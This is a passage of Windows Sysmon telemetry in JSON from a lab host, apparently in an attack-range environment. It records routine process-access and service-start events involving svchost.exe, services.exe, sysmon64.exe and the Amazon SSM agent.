C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.578\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.578","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.320\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00104D140200}\r\nProcessId: 2824\r\nImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=C982D5932238041410A29A1992B365B0,SHA256=585DB96A52F0C60A6DBC0BFCE79C533D6012C8973F8FC0FAEB659F9A5303DCCF,IMPHASH=F0070935B15A909B9DC00BE7997E6112\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.320","ProcessGuid":"{90617006-3FE4-5F2D-0000-00104D140200}","Image":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=C982D5932238041410A29A1992B365B0,SHA256=585DB96A52F0C60A6DBC0BFCE79C533D6012C8973F8FC0FAEB659F9A5303DCCF,IMPHASH=F0070935B15A909B9DC00BE7997E6112","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.609\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D140200}\r\nTargetProcessId: 2824\r\nTargetImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.609","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D140200}","TargetProcessId":"2824","TargetImage":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.609\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D140200}\r\nTargetProcessId: 2824\r\nTargetImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.609","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D140200}","TargetProcessId":"2824","TargetImage":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 